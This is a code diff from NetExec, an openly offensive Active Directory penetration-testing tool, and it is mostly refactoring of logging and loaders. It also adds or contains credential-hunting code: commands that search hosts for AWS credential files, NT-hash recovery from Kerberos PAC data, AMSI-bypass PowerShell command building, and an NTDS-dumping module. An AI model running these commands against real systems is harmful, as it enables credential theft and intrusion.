if next_token == 0x0C:
|
||||
self._element = TemplateInstance(buf, offset + 4)
|
||||
elif next_token == 0x01 or next_token == 0x41:
|
||||
self._element = Element(buf, offset + 4)
|
||||
else:
|
||||
print("Unknown binxml token", hex(next_token))
|
||||
|
||||
self.length = 4 + self._element.length
|
||||
|
||||
def xml(self, template=None):
|
||||
return self._element.xml(template)
|
||||
|
||||
|
||||
class ResultSet:
|
||||
def __init__(self, buf):
|
||||
total_size, header_size, event_offset, bookmark_offset, binxml_size = struct.unpack_from("<IIIII", buf)
|
||||
self._xml = BinXML(buf, 0x14)
|
||||
|
||||
def xml(self):
|
||||
return self._xml.xml()
|
||||
@@ -1,9 +1,10 @@
|
||||
import os
|
||||
from termcolor import colored
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
def write_log(data, log_name):
|
||||
logs_dir = os.path.join(os.path.expanduser("~/.nxc"), "logs")
|
||||
logs_dir = os.path.join(NXC_PATH, "logs")
|
||||
with open(os.path.join(logs_dir, log_name), "w") as log_output:
|
||||
log_output.write(data)
|
||||
|
||||
|
||||
+71
-2
@@ -4,6 +4,8 @@ import re
|
||||
import inspect
|
||||
import os
|
||||
|
||||
from ipaddress import ip_address
|
||||
|
||||
|
||||
def identify_target_file(target_file):
|
||||
with open(target_file) as target_file_handle:
|
||||
@@ -22,7 +24,7 @@ def gen_random_string(length=10):
|
||||
|
||||
|
||||
def validate_ntlm(data):
|
||||
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
|
||||
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
|
||||
return bool(allowed.match(data))
|
||||
|
||||
|
||||
@@ -40,7 +42,7 @@ def called_from_cmd_args():
|
||||
# Stolen from https://github.com/pydanny/whichcraft/
|
||||
def which(cmd, mode=os.F_OK | os.X_OK, path=None):
|
||||
"""Find the path which conforms to the given mode on the PATH for a command.
|
||||
|
||||
|
||||
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
|
||||
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
|
||||
Note: This function was backported from the Python 3 source code.
|
||||
@@ -77,3 +79,70 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
|
||||
name = os.path.join(p, thefile)
|
||||
if _access_check(name, mode):
|
||||
return name
|
||||
|
||||
|
||||
def get_bloodhound_info():
|
||||
"""
|
||||
Detect which BloodHound package is installed (regular or CE) and its version.
|
||||
|
||||
Returns
|
||||
-------
|
||||
tuple: (package_name, version, is_ce)
|
||||
- package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None)
|
||||
- version: Version string of the installed package (or None if not installed)
|
||||
- is_ce: Boolean indicating if it's the Community Edition
|
||||
"""
|
||||
import importlib.metadata
|
||||
import importlib.util
|
||||
|
||||
# First check if any BloodHound package is available to import
|
||||
if importlib.util.find_spec("bloodhound") is None:
|
||||
return None, None, False
|
||||
|
||||
# Try to get version info from both possible packages
|
||||
version = None
|
||||
package_name = None
|
||||
is_ce = False
|
||||
|
||||
# Check for bloodhound-ce first
|
||||
try:
|
||||
version = importlib.metadata.version("bloodhound-ce")
|
||||
package_name = "bloodhound-ce"
|
||||
is_ce = True
|
||||
except importlib.metadata.PackageNotFoundError:
|
||||
# Check for regular bloodhound
|
||||
try:
|
||||
version = importlib.metadata.version("bloodhound")
|
||||
package_name = "bloodhound"
|
||||
|
||||
# Even when installed as 'bloodhound', check if it's actually the CE version
|
||||
if version and ("ce" in version.lower() or "community" in version.lower()):
|
||||
is_ce = True
|
||||
except importlib.metadata.PackageNotFoundError:
|
||||
# No bloodhound package found via metadata
|
||||
pass
|
||||
|
||||
# In case we can import it but metadata is not working, check the module itself
|
||||
if not version:
|
||||
try:
|
||||
import bloodhound
|
||||
version = getattr(bloodhound, "__version__", "unknown")
|
||||
package_name = "bloodhound"
|
||||
|
||||
# Check if it's CE based on version string
|
||||
if "ce" in version.lower() or "community" in version.lower():
|
||||
is_ce = True
|
||||
package_name = "bloodhound-ce"
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
return package_name, version, is_ce
|
||||
|
||||
|
||||
def detect_if_ip(target):
|
||||
try:
|
||||
ip_address(target)
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
+17
-31
@@ -30,7 +30,6 @@ import os
|
||||
import secrets
|
||||
import hashlib
|
||||
import datetime
|
||||
import logging
|
||||
import random
|
||||
import base64
|
||||
|
||||
@@ -47,8 +46,7 @@ from asn1crypto import keys
|
||||
from minikerberos.pkinit import PKINIT, DirtyDH
|
||||
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
|
||||
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
|
||||
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, \
|
||||
PA_PAC_REQUEST
|
||||
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
|
||||
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
|
||||
|
||||
from pyasn1.codec.der import decoder, encoder
|
||||
@@ -70,6 +68,7 @@ from minikerberos.common.ccache import CCACHE
|
||||
from impacket.krb5.ccache import CCache as impacket_CCache
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class myPKINIT(PKINIT):
|
||||
@@ -304,8 +303,8 @@ class myPKINIT(PKINIT):
|
||||
|
||||
key = Key(cipher.enctype, t_key)
|
||||
enc_data = as_rep["enc-part"]["cipher"]
|
||||
logging.info("AS-REP encryption key (you might need this later):")
|
||||
logging.info(hexlify(t_key).decode("utf-8"))
|
||||
nxc_logger.info("AS-REP encryption key (you might need this later):")
|
||||
nxc_logger.info(hexlify(t_key).decode("utf-8"))
|
||||
dec_data = cipher.decrypt(key, 3, enc_data)
|
||||
encasrep = EncASRepPart.load(dec_data).native
|
||||
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
|
||||
@@ -327,34 +326,27 @@ class GETPAC:
|
||||
for _bufferN in range(pacType["cBuffers"]):
|
||||
infoBuffer = PAC_INFO_BUFFER(buff)
|
||||
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
print("TYPE 0x%x" % infoBuffer["ulType"])
|
||||
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
|
||||
if infoBuffer["ulType"] == 2:
|
||||
found = True
|
||||
credinfo = PAC_CREDENTIAL_INFO(data)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
credinfo.dump()
|
||||
newCipher = _enctype_table[credinfo["EncryptionType"]]
|
||||
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
|
||||
type1 = TypeSerialization1(out)
|
||||
# I'm skipping here 4 bytes with its the ReferentID for the pointer
|
||||
newdata = out[len(type1) + 4:]
|
||||
pcc = PAC_CREDENTIAL_DATA(newdata)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
pcc.dump()
|
||||
for cred in pcc["Credentials"]:
|
||||
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
credstruct.dump()
|
||||
|
||||
logging.info("Recovered NT Hash")
|
||||
logging.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
|
||||
nxc_logger.info("Recovered NT Hash")
|
||||
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
|
||||
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
|
||||
|
||||
buff = buff[len(infoBuffer):]
|
||||
|
||||
if not found:
|
||||
logging.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
|
||||
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
|
||||
return nthash
|
||||
|
||||
def __init__(self, username, domain, kdcHost, key, tgt):
|
||||
@@ -399,10 +391,8 @@ class GETPAC:
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("AUTHENTICATOR")
|
||||
print(authenticator.prettyPrint())
|
||||
print("\n")
|
||||
nxc_logger.debug("AUTHENTICATOR")
|
||||
nxc_logger.debug(authenticator.prettyPrint() + "\n")
|
||||
|
||||
encodedAuthenticator = encoder.encode(authenticator)
|
||||
|
||||
@@ -452,23 +442,18 @@ class GETPAC:
|
||||
|
||||
myTicket = ticket.to_asn1(TicketAsn1())
|
||||
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("Final TGS")
|
||||
print(tgsReq.prettyPrint())
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("Final TGS")
|
||||
print(tgsReq.prettyPrint())
|
||||
nxc_logger.debug("Final TGS")
|
||||
nxc_logger.debug(tgsReq.prettyPrint())
|
||||
|
||||
message = encoder.encode(tgsReq)
|
||||
logging.info("Requesting ticket to self with PAC")
|
||||
nxc_logger.info("Requesting ticket to self with PAC")
|
||||
|
||||
r = sendReceive(message, self.__domain, self.__kdcHost)
|
||||
|
||||
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("TGS_REP")
|
||||
print(tgs.prettyPrint())
|
||||
nxc_logger.debug("TGS_REP")
|
||||
nxc_logger.debug(tgs.prettyPrint())
|
||||
|
||||
cipherText = tgs["ticket"]["enc-part"]["cipher"]
|
||||
|
||||
@@ -503,7 +488,8 @@ def pfx_auth(self):
|
||||
return None
|
||||
|
||||
username = self.args.username[0]
|
||||
log_ccache = os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-"))
|
||||
timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H%M%S").replace(":", "-")
|
||||
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{timestamp}-{username}.ccache"))
|
||||
|
||||
# Request a TGT with the cert data
|
||||
req = ini.build_asreq(self.domain, username)
|
||||
|
||||
@@ -12,6 +12,7 @@ import random
|
||||
|
||||
obfuscate_ps_scripts = False
|
||||
|
||||
|
||||
def replace_singles(s):
|
||||
"""Replaces single quotes with a double quote
|
||||
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
|
||||
@@ -27,6 +28,7 @@ def replace_singles(s):
|
||||
"""
|
||||
return s.replace("'", r"\"")
|
||||
|
||||
|
||||
def get_ps_script(path):
|
||||
"""Generates a full path to a PowerShell script given a relative path.
|
||||
|
||||
@@ -56,19 +58,6 @@ def encode_ps_command(command):
|
||||
return b64encode(command.encode("UTF-16LE")).decode()
|
||||
|
||||
|
||||
def is_powershell_installed():
|
||||
"""
|
||||
Check if PowerShell is installed.
|
||||
|
||||
Returns
|
||||
-------
|
||||
bool: True if PowerShell is installed, False otherwise.
|
||||
"""
|
||||
if which("powershell"):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def obfs_ps_script(path_to_script):
|
||||
"""
|
||||
Obfuscates a PowerShell script.
|
||||
@@ -90,7 +79,7 @@ def obfs_ps_script(path_to_script):
|
||||
obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
|
||||
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
|
||||
|
||||
if is_powershell_installed() and obfuscate_ps_scripts:
|
||||
if bool(which("powershell")) and obfuscate_ps_scripts:
|
||||
if os.path.exists(obfs_ps_script):
|
||||
nxc_logger.display("Using cached obfuscated Powershell script")
|
||||
with open(obfs_ps_script) as script:
|
||||
@@ -116,12 +105,11 @@ def obfs_ps_script(path_to_script):
|
||||
and debug statements from a PowerShell source file.
|
||||
"""
|
||||
# strip block comments
|
||||
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
|
||||
stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read())
|
||||
# strip blank lines, lines starting with #, and verbose/debug statements
|
||||
return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
|
||||
|
||||
|
||||
|
||||
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
|
||||
"""
|
||||
Generates a PowerShell command based on the provided `ps_command` parameter.
|
||||
@@ -139,7 +127,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
|
||||
str: The generated PowerShell command.
|
||||
"""
|
||||
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
|
||||
|
||||
|
||||
if custom_amsi:
|
||||
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
|
||||
with open(custom_amsi) as file_in:
|
||||
@@ -154,7 +142,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
|
||||
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
|
||||
else:
|
||||
command = f"{amsi_bypass} {ps_command}"
|
||||
|
||||
|
||||
nxc_logger.debug(f"Generated PS command:\n {command}\n")
|
||||
|
||||
if obfs:
|
||||
@@ -163,7 +151,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
|
||||
while True:
|
||||
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
|
||||
obfs_command = invoke_obfuscation(command)
|
||||
|
||||
|
||||
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
|
||||
if len(command) <= 8191:
|
||||
break
|
||||
@@ -176,11 +164,11 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
|
||||
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
|
||||
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
|
||||
command = f"powershell.exe -noni -nop -w 1 {command}"
|
||||
|
||||
|
||||
if len(command) > 8191:
|
||||
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
|
||||
exit(1)
|
||||
|
||||
|
||||
nxc_logger.debug(f"Final command: {command}")
|
||||
return command
|
||||
|
||||
@@ -429,4 +417,3 @@ def invoke_obfuscation(script_string):
|
||||
obfuscated_script = choice(invoke_options)
|
||||
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
|
||||
return obfuscated_script
|
||||
|
||||
@@ -33,12 +33,6 @@ class ModuleLoader:
|
||||
elif not hasattr(module, "supported_protocols"):
|
||||
self.logger.fail(f"{module_path} missing the supported_protocols variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, "opsec_safe"):
|
||||
self.logger.fail(f"{module_path} missing the opsec_safe variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, "multiple_hosts"):
|
||||
self.logger.fail(f"{module_path} missing the multiple_hosts variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, "options"):
|
||||
self.logger.fail(f"{module_path} missing the options function")
|
||||
module_error = True
|
||||
@@ -46,9 +40,7 @@ class ModuleLoader:
|
||||
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
|
||||
module_error = True
|
||||
|
||||
if module_error:
|
||||
return False
|
||||
return True
|
||||
return not module_error
|
||||
|
||||
def load_module(self, module_path):
|
||||
"""Load a module, initializing it and checking that it has the proper attributes"""
|
||||
@@ -100,8 +92,6 @@ class ModuleLoader:
|
||||
"description": module_spec.description,
|
||||
"options": module_spec.options.__doc__,
|
||||
"supported_protocols": module_spec.supported_protocols,
|
||||
"opsec_safe": module_spec.opsec_safe,
|
||||
"multiple_hosts": module_spec.multiple_hosts,
|
||||
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,14 +2,12 @@ from types import ModuleType
|
||||
from importlib.machinery import SourceFileLoader
|
||||
from os import listdir
|
||||
from os.path import join as path_join
|
||||
from os.path import dirname, exists, expanduser
|
||||
from os.path import dirname, exists
|
||||
|
||||
import nxc
|
||||
|
||||
|
||||
class ProtocolLoader:
|
||||
def __init__(self):
|
||||
self.nxc_path = expanduser("~/.nxc")
|
||||
|
||||
def load_protocol(self, protocol_path):
|
||||
loader = SourceFileLoader("protocol", protocol_path)
|
||||
protocol = ModuleType(loader.name)
|
||||
@@ -18,27 +16,22 @@ class ProtocolLoader:
|
||||
|
||||
def get_protocols(self):
|
||||
protocols = {}
|
||||
protocol_paths = [
|
||||
path_join(dirname(nxc.__file__), "protocols"),
|
||||
path_join(self.nxc_path, "protocols"),
|
||||
]
|
||||
|
||||
for path in protocol_paths:
|
||||
for protocol in listdir(path):
|
||||
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
|
||||
protocol_path = path_join(path, protocol)
|
||||
protocol_name = protocol[:-3]
|
||||
proto_path = path_join(dirname(nxc.__file__), "protocols")
|
||||
for protocol in listdir(proto_path):
|
||||
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
|
||||
protocol_path = path_join(proto_path, protocol)
|
||||
protocol_name = protocol[:-3]
|
||||
|
||||
protocols[protocol_name] = {"path": protocol_path}
|
||||
|
||||
db_file_path = path_join(path, protocol_name, "database.py")
|
||||
db_nav_path = path_join(path, protocol_name, "db_navigator.py")
|
||||
protocol_args_path = path_join(path, protocol_name, "proto_args.py")
|
||||
if exists(db_file_path):
|
||||
protocols[protocol_name]["dbpath"] = db_file_path
|
||||
if exists(db_nav_path):
|
||||
protocols[protocol_name]["nvpath"] = db_nav_path
|
||||
if exists(protocol_args_path):
|
||||
protocols[protocol_name]["argspath"] = protocol_args_path
|
||||
protocols[protocol_name] = {"path": protocol_path}
|
||||
|
||||
db_file_path = path_join(proto_path, protocol_name, "database.py")
|
||||
db_nav_path = path_join(proto_path, protocol_name, "db_navigator.py")
|
||||
protocol_args_path = path_join(proto_path, protocol_name, "proto_args.py")
|
||||
if exists(db_file_path):
|
||||
protocols[protocol_name]["dbpath"] = db_file_path
|
||||
if exists(db_nav_path):
|
||||
protocols[protocol_name]["nvpath"] = db_nav_path
|
||||
if exists(protocol_args_path):
|
||||
protocols[protocol_name]["argspath"] = protocol_args_path
|
||||
return protocols
|
||||
+3
-7
@@ -103,7 +103,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
logging.getLogger("dploot").disabled = True
|
||||
logging.getLogger("neo4j").setLevel(logging.ERROR)
|
||||
|
||||
def format(self, msg, *args, **kwargs): # noqa: A003
|
||||
def format(self, msg, *args, **kwargs):
|
||||
"""Format msg for output
|
||||
|
||||
This is used instead of process() since process() applies to _all_ messages, including debug calls
|
||||
@@ -118,10 +118,6 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
if len(self.extra) == 1 and ("module_name" in self.extra):
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
|
||||
|
||||
# If the logger is being called from nxcServer
|
||||
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
|
||||
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
|
||||
|
||||
# If the logger is being called from a protocol
|
||||
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
|
||||
|
||||
@@ -186,9 +182,9 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
|
||||
with file_handler._open() as f:
|
||||
if file_creation:
|
||||
f.write(f"[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
else:
|
||||
f.write(f"\n[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
f.write(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
|
||||
|
||||
file_handler.setFormatter(file_formatter)
|
||||
self.logger.addHandler(file_handler)
|
||||
|
||||
+5
-4
@@ -13,8 +13,6 @@ class NXCModule:
|
||||
name = "adcs"
|
||||
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
@@ -27,7 +25,7 @@ class NXCModule:
|
||||
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
|
||||
BASE_DN The base domain name for the LDAP query
|
||||
"""
|
||||
self.regex = re.compile("(https?://.+)")
|
||||
self.regex = re.compile(r"(https?://.+)")
|
||||
|
||||
self.server = None
|
||||
self.base_dn = None
|
||||
@@ -70,7 +68,10 @@ class NXCModule:
|
||||
searchBase="CN=Configuration," + base_dn_root,
|
||||
)
|
||||
except LDAPSearchError as e:
|
||||
context.log.fail(f"Obtained unexpected exception: {e}")
|
||||
if "noSuchObject" in str(e):
|
||||
context.log.fail("No ADCS infrastructure found.")
|
||||
else:
|
||||
context.log.fail(f"Obtained unexpected exception: {e}")
|
||||
|
||||
def process_servers(self, item):
|
||||
"""Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""
|
||||
|
||||
@@ -4,6 +4,7 @@ import sys
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
@@ -15,8 +16,6 @@ class NXCModule:
|
||||
name = "add-computer"
|
||||
description = "Adds or deletes a domain computer"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -88,7 +87,6 @@ class NXCModule:
|
||||
if not self.noLDAPRequired:
|
||||
self.do_ldaps_add(connection, context)
|
||||
|
||||
|
||||
def do_samr_add(self, context):
|
||||
"""
|
||||
Connects to a target server and performs various operations related to adding or deleting machine accounts.
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Search for aws credentials files on linux and windows machines
|
||||
|
||||
Module by Fortress
|
||||
"""
|
||||
|
||||
name = "aws-credentials"
|
||||
description = "Search for aws credentials files."
|
||||
supported_protocols = ["ssh", "smb", "winrm"]
|
||||
|
||||
def __init__(self):
|
||||
self.search_path_linux = "'/home/' '/tmp/'"
|
||||
self.search_path_win = "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
|
||||
|
||||
def options(self, context, module_options):
|
||||
r"""
|
||||
SEARCH_PATH_LINUX Linux location where to search for aws credentials related files
|
||||
Default: "'/home/' '/tmp/'"
|
||||
|
||||
SEARCH_PATH_WIN Windows locations where to search for aws credentials related files
|
||||
Default: "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
|
||||
"""
|
||||
if "SEARCH_PATH_LINUX" in module_options:
|
||||
self.search_path_linux = module_options["SEARCH_PATH_LINUX"]
|
||||
|
||||
if "SEARCH_PATH_WIN" in module_options:
|
||||
self.search_path_win = module_options["SEARCH_PATH_WIN"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# search for aws_credentials-related files on linux systems
|
||||
if "ssh" in context.protocol:
|
||||
search_aws_creds_files_payload = f"find {self.search_path_linux} -type f -name credentials -exec grep -l 'aws_' {{}} \\; 2>&1 | grep -v 'Permission denied$'"
|
||||
search_aws_creds_files_cmd = f'/bin/bash -c "{search_aws_creds_files_payload}"'
|
||||
output = connection.execute(search_aws_creds_files_cmd)
|
||||
else:
|
||||
# search for aws_credentials-related files on windows systems
|
||||
# we have to exclude "Application Data" as this creates an infinite recursion, see: https://www.reddit.com/r/PowerShell/comments/17pctnv/symbolic_link_application_data_in_appdatalocal/
|
||||
search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include 'credentials' -ErrorAction SilentlyContinue | Where-Object {{ Select-String -Path $_.FullName -Pattern 'aws' -Quiet }} | Select-Object -ExpandProperty FullName"
|
||||
search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"'
|
||||
output = connection.execute(search_aws_creds_files_cmd_win, True)
|
||||
|
||||
if output:
|
||||
context.log.success("The following files were found:")
|
||||
for line in output.splitlines():
|
||||
context.log.highlight(line.rstrip())
|
||||
@@ -6,15 +6,13 @@ from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.dcerpc.v5 import transport, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "backup_operator"
|
||||
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
@@ -0,0 +1,221 @@
|
||||
from impacket.ldap import ldaptypes
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
|
||||
RELEVANT_OBJECT_TYPES = {
|
||||
"00000000-0000-0000-0000-000000000000": "All Objects",
|
||||
"0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
|
||||
}
|
||||
|
||||
EXCLUDED_SIDS_SUFFIXES = ["-512", "-519"] # Domain Admins, Enterprise Admins
|
||||
EXCLUDED_SIDS = ["S-1-5-32-544", "S-1-5-18"] # Builtin Administrators, Local SYSTEM
|
||||
|
||||
# Define all access rights
|
||||
ACCESS_RIGHTS = {
|
||||
# Generic Rights
|
||||
"GenericRead": 0x80000000, # ADS_RIGHT_GENERIC_READ
|
||||
"GenericWrite": 0x40000000, # ADS_RIGHT_GENERIC_WRITE
|
||||
"GenericExecute": 0x20000000, # ADS_RIGHT_GENERIC_EXECUTE
|
||||
"GenericAll": 0x10000000, # ADS_RIGHT_GENERIC_ALL
|
||||
|
||||
# Maximum Allowed access type
|
||||
"MaximumAllowed": 0x02000000,
|
||||
|
||||
# Access System Acl access type
|
||||
"AccessSystemSecurity": 0x01000000, # ADS_RIGHT_ACCESS_SYSTEM_SECURITY
|
||||
|
||||
# Standard access types
|
||||
"Synchronize": 0x00100000, # ADS_RIGHT_SYNCHRONIZE
|
||||
"WriteOwner": 0x00080000, # ADS_RIGHT_WRITE_OWNER
|
||||
"WriteDACL": 0x00040000, # ADS_RIGHT_WRITE_DAC
|
||||
"ReadControl": 0x00020000, # ADS_RIGHT_READ_CONTROL
|
||||
"Delete": 0x00010000, # ADS_RIGHT_DELETE
|
||||
|
||||
# Specific rights
|
||||
"AllExtendedRights": 0x00000100, # ADS_RIGHT_DS_CONTROL_ACCESS
|
||||
"ListObject": 0x00000080, # ADS_RIGHT_DS_LIST_OBJECT
|
||||
"DeleteTree": 0x00000040, # ADS_RIGHT_DS_DELETE_TREE
|
||||
"WriteProperties": 0x00000020, # ADS_RIGHT_DS_WRITE_PROP
|
||||
"ReadProperties": 0x00000010, # ADS_RIGHT_DS_READ_PROP
|
||||
"Self": 0x00000008, # ADS_RIGHT_DS_SELF
|
||||
"ListChildObjects": 0x00000004, # ADS_RIGHT_ACTRL_DS_LIST
|
||||
"DeleteChild": 0x00000002, # ADS_RIGHT_DS_DELETE_CHILD
|
||||
"CreateChild": 0x00000001, # ADS_RIGHT_DS_CREATE_CHILD
|
||||
}
|
||||
|
||||
# Define which rights are considered relevant for potential abuse
|
||||
RELEVANT_RIGHTS = {
|
||||
"GenericAll": ACCESS_RIGHTS["GenericAll"],
|
||||
"GenericWrite": ACCESS_RIGHTS["GenericWrite"],
|
||||
"WriteOwner": ACCESS_RIGHTS["WriteOwner"],
|
||||
"WriteDACL": ACCESS_RIGHTS["WriteDACL"],
|
||||
"CreateChild": ACCESS_RIGHTS["CreateChild"],
|
||||
"WriteProperties": ACCESS_RIGHTS["WriteProperties"],
|
||||
"AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"]
|
||||
}
|
||||
|
||||
FUNCTIONAL_LEVELS = {
|
||||
"Windows 2000": 0,
|
||||
"Windows Server 2003": 1,
|
||||
"Windows Server 2003 R2": 2,
|
||||
"Windows Server 2008": 3,
|
||||
"Windows Server 2008 R2": 4,
|
||||
"Windows Server 2012": 5,
|
||||
